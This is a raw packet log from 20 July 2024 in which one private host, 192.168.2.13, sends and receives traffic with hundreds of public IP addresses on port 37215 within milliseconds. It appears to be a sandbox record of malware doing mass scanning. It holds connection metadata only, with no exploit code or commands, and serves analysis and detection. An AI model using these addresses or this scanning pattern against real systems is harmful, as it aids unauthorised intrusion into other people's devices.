Jul 20, 2024 23:00:58.534955025 CEST	50563	37215	192.168.2.13	41.56.118.161
Jul 20, 2024 23:00:58.535187960 CEST	50563	37215	192.168.2.13	157.140.146.142
Jul 20, 2024 23:00:58.535218000 CEST	50563	37215	192.168.2.13	157.171.167.12
Jul 20, 2024 23:00:58.535254002 CEST	50563	37215	192.168.2.13	157.231.4.197
Jul 20, 2024 23:00:58.535279036 CEST	50563	37215	192.168.2.13	41.44.46.164
Jul 20, 2024 23:00:58.535291910 CEST	37215	50563	197.214.55.135	192.168.2.13
Jul 20, 2024 23:00:58.535327911 CEST	37215	50563	182.85.50.153	192.168.2.13
Jul 20, 2024 23:00:58.535340071 CEST	50563	37215	192.168.2.13	41.255.114.202
Jul 20, 2024 23:00:58.535357952 CEST	37215	50563	197.92.237.222	192.168.2.13
Jul 20, 2024 23:00:58.535367966 CEST	50563	37215	192.168.2.13	157.161.52.19
Jul 20, 2024 23:00:58.535387993 CEST	37215	50563	212.19.225.186	192.168.2.13
Jul 20, 2024 23:00:58.535391092 CEST	50563	37215	192.168.2.13	157.230.111.60
Jul 20, 2024 23:00:58.535391092 CEST	50563	37215	192.168.2.13	197.214.55.135
Jul 20, 2024 23:00:58.535391092 CEST	50563	37215	192.168.2.13	182.85.50.153
Jul 20, 2024 23:00:58.535408974 CEST	50563	37215	192.168.2.13	37.50.200.38
Jul 20, 2024 23:00:58.535409927 CEST	50563	37215	192.168.2.13	197.92.237.222
Jul 20, 2024 23:00:58.535418034 CEST	37215	50563	194.65.196.65	192.168.2.13
Jul 20, 2024 23:00:58.535419941 CEST	50563	37215	192.168.2.13	197.204.98.25
Jul 20, 2024 23:00:58.535435915 CEST	50563	37215	192.168.2.13	212.19.225.186
Jul 20, 2024 23:00:58.535470009 CEST	37215	50563	157.200.98.141	192.168.2.13
Jul 20, 2024 23:00:58.535501003 CEST	50563	37215	192.168.2.13	41.150.243.200
Jul 20, 2024 23:00:58.535501003 CEST	37215	50563	197.234.38.242	192.168.2.13
Jul 20, 2024 23:00:58.535512924 CEST	50563	37215	192.168.2.13	110.202.3.118
Jul 20, 2024 23:00:58.535512924 CEST	50563	37215	192.168.2.13	197.70.102.93
Jul 20, 2024 23:00:58.535520077 CEST	50563	37215	192.168.2.13	157.200.98.141
Jul 20, 2024 23:00:58.535531044 CEST	37215	50563	159.247.186.213	192.168.2.13
Jul 20, 2024 23:00:58.535569906 CEST	50563	37215	192.168.2.13	194.65.196.65
Jul 20, 2024 23:00:58.535569906 CEST	50563	37215	192.168.2.13	157.181.146.64
Jul 20, 2024 23:00:58.535579920 CEST	50563	37215	192.168.2.13	197.209.60.212
Jul 20, 2024 23:00:58.535636902 CEST	50563	37215	192.168.2.13	41.186.86.221
Jul 20, 2024 23:00:58.535661936 CEST	37215	50563	109.174.172.219	192.168.2.13
Jul 20, 2024 23:00:58.535692930 CEST	37215	50563	157.154.83.107	192.168.2.13
Jul 20, 2024 23:00:58.535703897 CEST	50563	37215	192.168.2.13	183.18.158.37
Jul 20, 2024 23:00:58.535722017 CEST	37215	50563	197.64.178.193	192.168.2.13
Jul 20, 2024 23:00:58.535731077 CEST	50563	37215	192.168.2.13	157.154.83.107
Jul 20, 2024 23:00:58.535752058 CEST	50563	37215	192.168.2.13	159.247.186.213
Jul 20, 2024 23:00:58.535752058 CEST	50563	37215	192.168.2.13	2.69.54.160
Jul 20, 2024 23:00:58.535773039 CEST	37215	50563	104.8.73.49	192.168.2.13
Jul 20, 2024 23:00:58.535803080 CEST	37215	50563	124.38.65.99	192.168.2.13
Jul 20, 2024 23:00:58.535831928 CEST	37215	50563	41.201.10.23	192.168.2.13
Jul 20, 2024 23:00:58.535837889 CEST	50563	37215	192.168.2.13	109.174.172.219
Jul 20, 2024 23:00:58.535839081 CEST	50563	37215	192.168.2.13	197.238.40.168
Jul 20, 2024 23:00:58.535854101 CEST	50563	37215	192.168.2.13	52.138.177.196
Jul 20, 2024 23:00:58.535861969 CEST	37215	50563	157.34.28.229	192.168.2.13
Jul 20, 2024 23:00:58.535871983 CEST	50563	37215	192.168.2.13	124.38.65.99
Jul 20, 2024 23:00:58.535891056 CEST	37215	50563	157.249.112.126	192.168.2.13
Jul 20, 2024 23:00:58.535921097 CEST	37215	50563	157.62.193.172	192.168.2.13
Jul 20, 2024 23:00:58.535923958 CEST	50563	37215	192.168.2.13	157.156.49.184
Jul 20, 2024 23:00:58.535933018 CEST	50563	37215	192.168.2.13	41.237.188.97
Jul 20, 2024 23:00:58.535949945 CEST	37215	50563	157.34.92.241	192.168.2.13
Jul 20, 2024 23:00:58.535968065 CEST	50563	37215	192.168.2.13	41.114.67.30
Jul 20, 2024 23:00:58.535968065 CEST	50563	37215	192.168.2.13	157.249.112.126
Jul 20, 2024 23:00:58.535969019 CEST	50563	37215	192.168.2.13	157.184.88.81
Jul 20, 2024 23:00:58.535979033 CEST	37215	50563	157.134.72.2	192.168.2.13
Jul 20, 2024 23:00:58.535988092 CEST	50563	37215	192.168.2.13	157.138.203.32
Jul 20, 2024 23:00:58.535989046 CEST	50563	37215	192.168.2.13	197.64.178.193
Jul 20, 2024 23:00:58.535989046 CEST	50563	37215	192.168.2.13	41.79.63.222
Jul 20, 2024 23:00:58.535989046 CEST	50563	37215	192.168.2.13	157.34.28.229
Jul 20, 2024 23:00:58.536007881 CEST	37215	50563	197.130.190.85	192.168.2.13
Jul 20, 2024 23:00:58.536035061 CEST	37215	50563	157.178.20.242	192.168.2.13
Jul 20, 2024 23:00:58.536048889 CEST	50563	37215	192.168.2.13	197.130.190.85
Jul 20, 2024 23:00:58.536087036 CEST	37215	50563	41.128.69.214	192.168.2.13
Jul 20, 2024 23:00:58.536096096 CEST	50563	37215	192.168.2.13	157.45.88.204
Jul 20, 2024 23:00:58.536117077 CEST	37215	50563	41.17.9.128	192.168.2.13
Jul 20, 2024 23:00:58.536123037 CEST	50563	37215	192.168.2.13	157.62.193.172
Jul 20, 2024 23:00:58.536123037 CEST	50563	37215	192.168.2.13	157.178.20.242
Jul 20, 2024 23:00:58.536142111 CEST	50563	37215	192.168.2.13	157.34.92.241
Jul 20, 2024 23:00:58.536144972 CEST	37215	50563	41.209.60.208	192.168.2.13
Jul 20, 2024 23:00:58.536174059 CEST	37215	50563	197.39.121.171	192.168.2.13
Jul 20, 2024 23:00:58.536178112 CEST	50563	37215	192.168.2.13	197.17.13.19
Jul 20, 2024 23:00:58.536205053 CEST	37215	50563	197.6.247.149	192.168.2.13
Jul 20, 2024 23:00:58.536206961 CEST	50563	37215	192.168.2.13	41.128.69.214
Jul 20, 2024 23:00:58.536206961 CEST	50563	37215	192.168.2.13	41.17.9.128
Jul 20, 2024 23:00:58.536233902 CEST	37215	50563	197.245.35.233	192.168.2.13
Jul 20, 2024 23:00:58.536262989 CEST	37215	50563	197.21.88.67	192.168.2.13
Jul 20, 2024 23:00:58.536264896 CEST	50563	37215	192.168.2.13	157.222.199.50
Jul 20, 2024 23:00:58.536278009 CEST	50563	37215	192.168.2.13	197.39.121.171
Jul 20, 2024 23:00:58.536293030 CEST	37215	50563	157.40.102.40	192.168.2.13
Jul 20, 2024 23:00:58.536323071 CEST	37215	50563	157.245.110.242	192.168.2.13
Jul 20, 2024 23:00:58.536375999 CEST	37215	50563	41.185.235.4	192.168.2.13
Jul 20, 2024 23:00:58.536386013 CEST	50563	37215	192.168.2.13	145.185.248.183
Jul 20, 2024 23:00:58.536386013 CEST	50563	37215	192.168.2.13	41.209.60.208
Jul 20, 2024 23:00:58.536386013 CEST	50563	37215	192.168.2.13	157.245.110.242
Jul 20, 2024 23:00:58.536406040 CEST	37215	50563	197.168.76.154	192.168.2.13
Jul 20, 2024 23:00:58.536428928 CEST	50563	37215	192.168.2.13	41.194.84.193
Jul 20, 2024 23:00:58.536434889 CEST	37215	50563	157.108.71.72	192.168.2.13
Jul 20, 2024 23:00:58.536448956 CEST	50563	37215	192.168.2.13	41.185.235.4
Jul 20, 2024 23:00:58.536463976 CEST	37215	50563	197.145.183.59	192.168.2.13
Jul 20, 2024 23:00:58.536468029 CEST	50563	37215	192.168.2.13	157.108.71.72
Jul 20, 2024 23:00:58.536514044 CEST	37215	50563	197.124.222.24	192.168.2.13
Jul 20, 2024 23:00:58.536542892 CEST	37215	50563	106.174.68.245	192.168.2.13
Jul 20, 2024 23:00:58.536571980 CEST	37215	50563	197.190.172.118	192.168.2.13
Jul 20, 2024 23:00:58.536583900 CEST	50563	37215	192.168.2.13	197.35.252.89
Jul 20, 2024 23:00:58.536583900 CEST	50563	37215	192.168.2.13	41.222.221.26
Jul 20, 2024 23:00:58.536607027 CEST	50563	37215	192.168.2.13	197.54.41.117
Jul 20, 2024 23:00:58.536607027 CEST	50563	37215	192.168.2.13	220.90.88.236
Jul 20, 2024 23:00:58.536607027 CEST	50563	37215	192.168.2.13	197.73.217.175
Jul 20, 2024 23:00:58.536622047 CEST	37215	50563	157.15.177.153	192.168.2.13
Jul 20, 2024 23:00:58.536643028 CEST	50563	37215	192.168.2.13	197.16.131.86
Jul 20, 2024 23:00:58.536643028 CEST	50563	37215	192.168.2.13	106.174.68.245
Jul 20, 2024 23:00:58.536653042 CEST	37215	50563	157.231.126.250	192.168.2.13
Jul 20, 2024 23:00:58.536655903 CEST	50563	37215	192.168.2.13	203.129.114.89
Jul 20, 2024 23:00:58.536672115 CEST	50563	37215	192.168.2.13	157.11.177.150
Jul 20, 2024 23:00:58.536672115 CEST	50563	37215	192.168.2.13	197.145.183.59
Jul 20, 2024 23:00:58.536672115 CEST	50563	37215	192.168.2.13	157.106.231.112
Jul 20, 2024 23:00:58.536681890 CEST	37215	50563	157.213.124.92	192.168.2.13
Jul 20, 2024 23:00:58.536710978 CEST	37215	50563	192.48.206.157	192.168.2.13
Jul 20, 2024 23:00:58.536762953 CEST	37215	50563	114.116.15.132	192.168.2.13
Jul 20, 2024 23:00:58.536792994 CEST	37215	50563	157.1.12.172	192.168.2.13
Jul 20, 2024 23:00:58.536820889 CEST	37215	50563	67.164.145.87	192.168.2.13
Jul 20, 2024 23:00:58.536849022 CEST	37215	50563	157.220.78.185	192.168.2.13
Jul 20, 2024 23:00:58.536878109 CEST	37215	50563	157.110.69.240	192.168.2.13
Jul 20, 2024 23:00:58.536911964 CEST	37215	50563	41.152.229.173	192.168.2.13
Jul 20, 2024 23:00:58.536937952 CEST	50563	37215	192.168.2.13	197.112.125.91
Jul 20, 2024 23:00:58.536937952 CEST	50563	37215	192.168.2.13	114.104.89.214
Jul 20, 2024 23:00:58.536937952 CEST	50563	37215	192.168.2.13	196.108.28.41
Jul 20, 2024 23:00:58.536940098 CEST	37215	50563	65.79.209.34	192.168.2.13
Jul 20, 2024 23:00:58.536968946 CEST	37215	50563	157.207.241.220	192.168.2.13
Jul 20, 2024 23:00:58.536997080 CEST	37215	50563	41.150.219.200	192.168.2.13
Jul 20, 2024 23:00:58.536999941 CEST	50563	37215	192.168.2.13	157.231.126.250
Jul 20, 2024 23:00:58.536999941 CEST	50563	37215	192.168.2.13	192.48.206.157
Jul 20, 2024 23:00:58.536999941 CEST	50563	37215	192.168.2.13	41.62.99.32
Jul 20, 2024 23:00:58.537000895 CEST	50563	37215	192.168.2.13	114.116.15.132
Jul 20, 2024 23:00:58.537000895 CEST	50563	37215	192.168.2.13	157.110.69.240
Jul 20, 2024 23:00:58.537024975 CEST	37215	50563	41.143.52.237	192.168.2.13
Jul 20, 2024 23:00:58.537060022 CEST	37215	50563	41.4.10.141	192.168.2.13
Jul 20, 2024 23:00:58.537062883 CEST	50563	37215	192.168.2.13	197.190.172.118
Jul 20, 2024 23:00:58.537062883 CEST	50563	37215	192.168.2.13	67.164.145.87
Jul 20, 2024 23:00:58.537062883 CEST	50563	37215	192.168.2.13	157.220.78.185
Jul 20, 2024 23:00:58.537062883 CEST	50563	37215	192.168.2.13	116.156.175.81
Jul 20, 2024 23:00:58.537062883 CEST	50563	37215	192.168.2.13	157.207.241.220
Jul 20, 2024 23:00:58.537065029 CEST	50563	37215	192.168.2.13	157.180.195.105
Jul 20, 2024 23:00:58.537062883 CEST	50563	37215	192.168.2.13	197.145.164.25
Jul 20, 2024 23:00:58.537179947 CEST	50563	37215	192.168.2.13	41.70.65.103
Jul 20, 2024 23:00:58.537288904 CEST	50563	37215	192.168.2.13	86.82.54.225
Jul 20, 2024 23:00:58.537343979 CEST	50563	37215	192.168.2.13	41.152.229.173
Jul 20, 2024 23:00:58.537343979 CEST	50563	37215	192.168.2.13	20.222.215.240
Jul 20, 2024 23:00:58.537343979 CEST	50563	37215	192.168.2.13	41.187.2.103
Jul 20, 2024 23:00:58.537370920 CEST	50563	37215	192.168.2.13	157.1.12.172
Jul 20, 2024 23:00:58.537370920 CEST	50563	37215	192.168.2.13	41.109.79.201
Jul 20, 2024 23:00:58.537370920 CEST	50563	37215	192.168.2.13	41.150.219.200
Jul 20, 2024 23:00:58.537370920 CEST	50563	37215	192.168.2.13	41.143.52.237
Jul 20, 2024 23:00:58.537370920 CEST	50563	37215	192.168.2.13	163.150.42.115
Jul 20, 2024 23:00:58.537482023 CEST	50563	37215	192.168.2.13	46.185.21.147
Jul 20, 2024 23:00:58.537516117 CEST	50563	37215	192.168.2.13	197.9.119.173
Jul 20, 2024 23:00:58.537620068 CEST	37215	50563	157.221.232.194	192.168.2.13
Jul 20, 2024 23:00:58.537651062 CEST	37215	50563	157.34.193.24	192.168.2.13
Jul 20, 2024 23:00:58.537684917 CEST	50563	37215	192.168.2.13	197.185.241.200
Jul 20, 2024 23:00:58.537684917 CEST	50563	37215	192.168.2.13	197.6.247.149
Jul 20, 2024 23:00:58.537684917 CEST	50563	37215	192.168.2.13	197.245.35.233
Jul 20, 2024 23:00:58.537686110 CEST	50563	37215	192.168.2.13	197.21.88.67
Jul 20, 2024 23:00:58.537686110 CEST	50563	37215	192.168.2.13	157.40.102.40
Jul 20, 2024 23:00:58.537686110 CEST	50563	37215	192.168.2.13	157.246.7.44
Jul 20, 2024 23:00:58.537686110 CEST	50563	37215	192.168.2.13	157.15.177.153
Jul 20, 2024 23:00:58.537686110 CEST	50563	37215	192.168.2.13	197.120.131.199
Jul 20, 2024 23:00:58.537733078 CEST	50563	37215	192.168.2.13	41.88.134.99
Jul 20, 2024 23:00:58.537733078 CEST	50563	37215	192.168.2.13	197.36.237.89
Jul 20, 2024 23:00:58.537817001 CEST	37215	50563	197.251.162.147	192.168.2.13
Jul 20, 2024 23:00:58.537857056 CEST	50563	37215	192.168.2.13	197.251.162.147
Jul 20, 2024 23:00:58.537913084 CEST	37215	50563	197.212.205.171	192.168.2.13
Jul 20, 2024 23:00:58.537940025 CEST	50563	37215	192.168.2.13	157.42.236.252
Jul 20, 2024 23:00:58.537940979 CEST	37215	50563	41.56.89.231	192.168.2.13
Jul 20, 2024 23:00:58.537969112 CEST	37215	50563	146.70.72.45	192.168.2.13
Jul 20, 2024 23:00:58.537974119 CEST	50563	37215	192.168.2.13	197.109.166.112
Jul 20, 2024 23:00:58.537974119 CEST	50563	37215	192.168.2.13	157.132.248.230
Jul 20, 2024 23:00:58.537974119 CEST	50563	37215	192.168.2.13	104.140.179.113
Jul 20, 2024 23:00:58.537974119 CEST	50563	37215	192.168.2.13	157.221.232.194
Jul 20, 2024 23:00:58.537974119 CEST	50563	37215	192.168.2.13	41.135.156.196
Jul 20, 2024 23:00:58.537998915 CEST	37215	50563	41.189.96.61	192.168.2.13
Jul 20, 2024 23:00:58.538050890 CEST	50563	37215	192.168.2.13	157.24.52.3
Jul 20, 2024 23:00:58.538052082 CEST	37215	50563	157.217.75.121	192.168.2.13
Jul 20, 2024 23:00:58.538064957 CEST	50563	37215	192.168.2.13	41.56.89.231
Jul 20, 2024 23:00:58.538064957 CEST	50563	37215	192.168.2.13	217.47.253.96
Jul 20, 2024 23:00:58.538064957 CEST	50563	37215	192.168.2.13	157.200.38.194
Jul 20, 2024 23:00:58.538081884 CEST	37215	50563	41.221.193.109	192.168.2.13
Jul 20, 2024 23:00:58.538111925 CEST	37215	50563	197.169.132.127	192.168.2.13
Jul 20, 2024 23:00:58.538142920 CEST	50563	37215	192.168.2.13	41.4.10.141
Jul 20, 2024 23:00:58.538142920 CEST	50563	37215	192.168.2.13	138.35.105.236
Jul 20, 2024 23:00:58.538142920 CEST	50563	37215	192.168.2.13	197.84.11.202
Jul 20, 2024 23:00:58.538142920 CEST	50563	37215	192.168.2.13	181.77.179.109
Jul 20, 2024 23:00:58.538142920 CEST	50563	37215	192.168.2.13	203.131.164.121
Jul 20, 2024 23:00:58.538142920 CEST	50563	37215	192.168.2.13	197.56.38.36
Jul 20, 2024 23:00:58.538145065 CEST	37215	50563	157.120.216.98	192.168.2.13
Jul 20, 2024 23:00:58.538142920 CEST	50563	37215	192.168.2.13	25.100.29.220
Jul 20, 2024 23:00:58.538182020 CEST	37215	50563	41.249.185.214	192.168.2.13
Jul 20, 2024 23:00:58.538211107 CEST	37215	50563	41.79.155.141	192.168.2.13
Jul 20, 2024 23:00:58.538244009 CEST	50563	37215	192.168.2.13	75.142.64.164
Jul 20, 2024 23:00:58.538244009 CEST	37215	50563	197.187.33.168	192.168.2.13
Jul 20, 2024 23:00:58.538244009 CEST	50563	37215	192.168.2.13	41.79.155.141
Jul 20, 2024 23:00:58.538275957 CEST	37215	50563	125.249.77.242	192.168.2.13
Jul 20, 2024 23:00:58.538331032 CEST	37215	50563	197.223.209.28	192.168.2.13
Jul 20, 2024 23:00:58.538360119 CEST	37215	50563	93.9.19.89	192.168.2.13
Jul 20, 2024 23:00:58.538409948 CEST	50563	37215	192.168.2.13	41.141.248.192
Jul 20, 2024 23:00:58.538412094 CEST	37215	50563	197.97.128.59	192.168.2.13
Jul 20, 2024 23:00:58.538440943 CEST	37215	50563	41.159.197.0	192.168.2.13
Jul 20, 2024 23:00:58.538460970 CEST	50563	37215	192.168.2.13	157.219.233.88
Jul 20, 2024 23:00:58.538460970 CEST	50563	37215	192.168.2.13	197.234.38.242
Jul 20, 2024 23:00:58.538460970 CEST	50563	37215	192.168.2.13	104.8.73.49
Jul 20, 2024 23:00:58.538469076 CEST	37215	50563	176.67.81.161	192.168.2.13
Jul 20, 2024 23:00:58.538460970 CEST	50563	37215	192.168.2.13	41.201.10.23
Jul 20, 2024 23:00:58.538460970 CEST	50563	37215	192.168.2.13	197.34.252.218
Jul 20, 2024 23:00:58.538460970 CEST	50563	37215	192.168.2.13	157.134.72.2
Jul 20, 2024 23:00:58.538460970 CEST	50563	37215	192.168.2.13	197.221.122.206
Jul 20, 2024 23:00:58.538460970 CEST	50563	37215	192.168.2.13	197.168.76.154
Jul 20, 2024 23:00:58.538489103 CEST	50563	37215	192.168.2.13	157.11.18.169
Jul 20, 2024 23:00:58.538489103 CEST	50563	37215	192.168.2.13	197.75.184.178
Jul 20, 2024 23:00:58.538489103 CEST	50563	37215	192.168.2.13	157.34.193.24
Jul 20, 2024 23:00:58.538489103 CEST	50563	37215	192.168.2.13	157.92.89.171
Jul 20, 2024 23:00:58.538490057 CEST	50563	37215	192.168.2.13	197.212.205.171
Jul 20, 2024 23:00:58.538490057 CEST	50563	37215	192.168.2.13	146.70.72.45
Jul 20, 2024 23:00:58.538490057 CEST	50563	37215	192.168.2.13	197.169.132.127
Jul 20, 2024 23:00:58.538507938 CEST	50563	37215	192.168.2.13	41.189.96.61
Jul 20, 2024 23:00:58.538507938 CEST	50563	37215	192.168.2.13	41.249.185.214
Jul 20, 2024 23:00:58.538507938 CEST	50563	37215	192.168.2.13	197.187.33.168
Jul 20, 2024 23:00:58.538539886 CEST	37215	50563	76.177.197.57	192.168.2.13
Jul 20, 2024 23:00:58.538569927 CEST	37215	50563	197.177.149.36	192.168.2.13
Jul 20, 2024 23:00:58.538598061 CEST	37215	50563	97.134.173.191	192.168.2.13
Jul 20, 2024 23:00:58.538645983 CEST	50563	37215	192.168.2.13	41.221.193.109
Jul 20, 2024 23:00:58.538645983 CEST	50563	37215	192.168.2.13	197.21.137.113
Jul 20, 2024 23:00:58.538645983 CEST	50563	37215	192.168.2.13	41.123.88.232
Jul 20, 2024 23:00:58.538645983 CEST	50563	37215	192.168.2.13	113.121.60.228
Jul 20, 2024 23:00:58.538645983 CEST	50563	37215	192.168.2.13	41.133.12.198
Jul 20, 2024 23:00:58.538645983 CEST	50563	37215	192.168.2.13	112.227.139.122
Jul 20, 2024 23:00:58.538645983 CEST	50563	37215	192.168.2.13	176.67.81.161
Jul 20, 2024 23:00:58.538645983 CEST	50563	37215	192.168.2.13	157.16.61.193
Jul 20, 2024 23:00:58.538655043 CEST	37215	50563	41.213.116.126	192.168.2.13
Jul 20, 2024 23:00:58.538683891 CEST	37215	50563	41.38.141.113	192.168.2.13
Jul 20, 2024 23:00:58.538733006 CEST	37215	50563	41.74.157.18	192.168.2.13
Jul 20, 2024 23:00:58.538763046 CEST	37215	50563	41.98.148.11	192.168.2.13
Jul 20, 2024 23:00:58.538791895 CEST	37215	50563	49.84.15.105	192.168.2.13
Jul 20, 2024 23:00:58.538800955 CEST	50563	37215	192.168.2.13	41.98.148.11
Jul 20, 2024 23:00:58.538806915 CEST	50563	37215	192.168.2.13	76.177.197.57
Jul 20, 2024 23:00:58.538806915 CEST	50563	37215	192.168.2.13	157.171.90.216
Jul 20, 2024 23:00:58.538820982 CEST	37215	50563	60.145.150.83	192.168.2.13
Jul 20, 2024 23:00:58.538826942 CEST	50563	37215	192.168.2.13	125.249.77.242
Jul 20, 2024 23:00:58.538826942 CEST	50563	37215	192.168.2.13	49.84.15.105
Jul 20, 2024 23:00:58.538860083 CEST	37215	50563	41.19.92.14	192.168.2.13
Jul 20, 2024 23:00:58.538873911 CEST	37215	50563	197.121.124.32	192.168.2.13
Jul 20, 2024 23:00:58.538887024 CEST	37215	50563	172.133.249.30	192.168.2.13
Jul 20, 2024 23:00:58.538892031 CEST	50563	37215	192.168.2.13	200.25.227.59
Jul 20, 2024 23:00:58.538892031 CEST	50563	37215	192.168.2.13	74.166.36.54
Jul 20, 2024 23:00:58.538892031 CEST	50563	37215	192.168.2.13	41.213.116.126
Jul 20, 2024 23:00:58.538902044 CEST	37215	50563	132.69.225.35	192.168.2.13
Jul 20, 2024 23:00:58.538949966 CEST	37215	50563	157.101.44.86	192.168.2.13
Jul 20, 2024 23:00:58.539002895 CEST	37215	50563	191.91.109.175	192.168.2.13
Jul 20, 2024 23:00:58.539014101 CEST	50563	37215	192.168.2.13	197.121.124.32
Jul 20, 2024 23:00:58.539014101 CEST	50563	37215	192.168.2.13	157.210.89.153
Jul 20, 2024 23:00:58.539041042 CEST	37215	50563	41.33.107.67	192.168.2.13
Jul 20, 2024 23:00:58.539057016 CEST	50563	37215	192.168.2.13	132.69.225.35
Jul 20, 2024 23:00:58.539057016 CEST	50563	37215	192.168.2.13	157.101.44.86
Jul 20, 2024 23:00:58.539067984 CEST	37215	50563	41.35.143.124	192.168.2.13
Jul 20, 2024 23:00:58.539081097 CEST	50563	37215	192.168.2.13	157.129.214.7
Jul 20, 2024 23:00:58.539082050 CEST	37215	50563	157.29.187.206	192.168.2.13
Jul 20, 2024 23:00:58.539096117 CEST	37215	50563	197.46.43.121	192.168.2.13
Jul 20, 2024 23:00:58.539129972 CEST	37215	50563	159.75.117.52	192.168.2.13
Jul 20, 2024 23:00:58.539169073 CEST	50563	37215	192.168.2.13	157.120.216.98
Jul 20, 2024 23:00:58.539169073 CEST	50563	37215	192.168.2.13	41.31.62.79
Jul 20, 2024 23:00:58.539169073 CEST	50563	37215	192.168.2.13	97.134.173.191
Jul 20, 2024 23:00:58.539169073 CEST	50563	37215	192.168.2.13	57.179.232.255
Jul 20, 2024 23:00:58.539169073 CEST	50563	37215	192.168.2.13	159.75.117.52
Jul 20, 2024 23:00:58.539180994 CEST	37215	50563	41.78.20.159	192.168.2.13
Jul 20, 2024 23:00:58.539205074 CEST	50563	37215	192.168.2.13	197.46.43.121
Jul 20, 2024 23:00:58.539221048 CEST	37215	50563	197.173.198.75	192.168.2.13
Jul 20, 2024 23:00:58.539222002 CEST	50563	37215	192.168.2.13	157.82.209.252
Jul 20, 2024 23:00:58.539222002 CEST	50563	37215	192.168.2.13	157.29.187.206
Jul 20, 2024 23:00:58.539222002 CEST	50563	37215	192.168.2.13	194.68.7.66
Jul 20, 2024 23:00:58.539235115 CEST	37215	50563	197.166.97.17	192.168.2.13
Jul 20, 2024 23:00:58.539261103 CEST	37215	50563	143.194.179.157	192.168.2.13
Jul 20, 2024 23:00:58.539274931 CEST	37215	50563	34.245.129.1	192.168.2.13
Jul 20, 2024 23:00:58.539292097 CEST	37215	50563	197.134.178.138	192.168.2.13
Jul 20, 2024 23:00:58.539423943 CEST	50563	37215	192.168.2.13	41.198.127.198
Jul 20, 2024 23:00:58.539423943 CEST	50563	37215	192.168.2.13	143.194.179.157
Jul 20, 2024 23:00:58.539423943 CEST	50563	37215	192.168.2.13	197.134.178.138
Jul 20, 2024 23:00:58.539524078 CEST	50563	37215	192.168.2.13	34.245.129.1
Jul 20, 2024 23:00:58.539524078 CEST	50563	37215	192.168.2.13	62.1.185.230
Jul 20, 2024 23:00:58.539563894 CEST	37215	50563	157.220.215.87	192.168.2.13
Jul 20, 2024 23:00:58.539599895 CEST	50563	37215	192.168.2.13	157.220.215.87
Jul 20, 2024 23:00:58.539621115 CEST	37215	50563	112.103.69.140	192.168.2.13
Jul 20, 2024 23:00:58.539638042 CEST	50563	37215	192.168.2.13	197.173.198.75
Jul 20, 2024 23:00:58.539638042 CEST	50563	37215	192.168.2.13	41.162.208.158
Jul 20, 2024 23:00:58.539638042 CEST	50563	37215	192.168.2.13	1.119.241.63
Jul 20, 2024 23:00:58.539654970 CEST	50563	37215	192.168.2.13	112.103.69.140
Jul 20, 2024 23:00:58.539660931 CEST	37215	50563	197.28.72.122	192.168.2.13
Jul 20, 2024 23:00:58.539675951 CEST	37215	50563	157.164.23.166	192.168.2.13
Jul 20, 2024 23:00:58.539686918 CEST	50563	37215	192.168.2.13	41.93.237.234
Jul 20, 2024 23:00:58.539688110 CEST	50563	37215	192.168.2.13	41.85.0.133
Jul 20, 2024 23:00:58.539688110 CEST	50563	37215	192.168.2.13	157.42.124.218
Jul 20, 2024 23:00:58.539688110 CEST	50563	37215	192.168.2.13	157.237.43.90
Jul 20, 2024 23:00:58.539702892 CEST	50563	37215	192.168.2.13	197.28.72.122
Jul 20, 2024 23:00:58.539719105 CEST	50563	37215	192.168.2.13	41.32.89.148
Jul 20, 2024 23:00:58.539823055 CEST	50563	37215	192.168.2.13	41.226.210.47
Jul 20, 2024 23:00:58.539927959 CEST	37215	50563	157.140.146.142	192.168.2.13
Jul 20, 2024 23:00:58.539957047 CEST	50563	37215	192.168.2.13	4.38.120.5
Jul 20, 2024 23:00:58.540030956 CEST	50563	37215	192.168.2.13	101.19.118.20
Jul 20, 2024 23:00:58.540102959 CEST	50563	37215	192.168.2.13	41.78.20.159
Jul 20, 2024 23:00:58.540102959 CEST	50563	37215	192.168.2.13	157.94.99.180
Jul 20, 2024 23:00:58.540103912 CEST	50563	37215	192.168.2.13	197.16.195.130
Jul 20, 2024 23:00:58.540103912 CEST	50563	37215	192.168.2.13	157.86.47.231
Jul 20, 2024 23:00:58.540103912 CEST	50563	37215	192.168.2.13	197.83.39.176
Jul 20, 2024 23:00:58.540103912 CEST	50563	37215	192.168.2.13	41.7.92.14
Jul 20, 2024 23:00:58.540103912 CEST	50563	37215	192.168.2.13	41.191.5.78
Jul 20, 2024 23:00:58.540147066 CEST	50563	37215	192.168.2.13	65.79.209.34
Jul 20, 2024 23:00:58.540147066 CEST	50563	37215	192.168.2.13	41.139.48.251
Jul 20, 2024 23:00:58.540147066 CEST	50563	37215	192.168.2.13	197.232.155.157
Jul 20, 2024 23:00:58.540147066 CEST	50563	37215	192.168.2.13	197.25.63.218
Jul 20, 2024 23:00:58.540147066 CEST	50563	37215	192.168.2.13	41.143.166.117
Jul 20, 2024 23:00:58.540147066 CEST	50563	37215	192.168.2.13	197.49.84.205
Jul 20, 2024 23:00:58.540147066 CEST	50563	37215	192.168.2.13	157.225.164.86
Jul 20, 2024 23:00:58.540147066 CEST	50563	37215	192.168.2.13	157.217.75.121
Jul 20, 2024 23:00:58.540236950 CEST	50563	37215	192.168.2.13	197.149.9.36
Jul 20, 2024 23:00:58.540240049 CEST	50563	37215	192.168.2.13	141.126.185.47
Jul 20, 2024 23:00:58.540240049 CEST	50563	37215	192.168.2.13	128.104.190.90
Jul 20, 2024 23:00:58.540410995 CEST	37215	50563	157.171.167.12	192.168.2.13
Jul 20, 2024 23:00:58.540443897 CEST	50563	37215	192.168.2.13	197.136.94.142
Jul 20, 2024 23:00:58.540443897 CEST	50563	37215	192.168.2.13	157.202.34.88
Jul 20, 2024 23:00:58.540443897 CEST	50563	37215	192.168.2.13	157.52.27.4
Jul 20, 2024 23:00:58.540453911 CEST	37215	50563	157.231.4.197	192.168.2.13
Jul 20, 2024 23:00:58.540538073 CEST	37215	50563	41.44.46.164	192.168.2.13
Jul 20, 2024 23:00:58.540631056 CEST	50563	37215	192.168.2.13	157.164.23.166
Jul 20, 2024 23:00:58.540632010 CEST	50563	37215	192.168.2.13	41.246.201.30
Jul 20, 2024 23:00:58.540632010 CEST	50563	37215	192.168.2.13	157.140.146.142
Jul 20, 2024 23:00:58.540659904 CEST	50563	37215	192.168.2.13	41.38.141.113
Jul 20, 2024 23:00:58.540659904 CEST	50563	37215	192.168.2.13	41.74.157.18
Jul 20, 2024 23:00:58.540659904 CEST	50563	37215	192.168.2.13	41.89.63.57
Jul 20, 2024 23:00:58.540659904 CEST	50563	37215	192.168.2.13	41.19.92.14
Jul 20, 2024 23:00:58.540661097 CEST	50563	37215	192.168.2.13	191.91.109.175
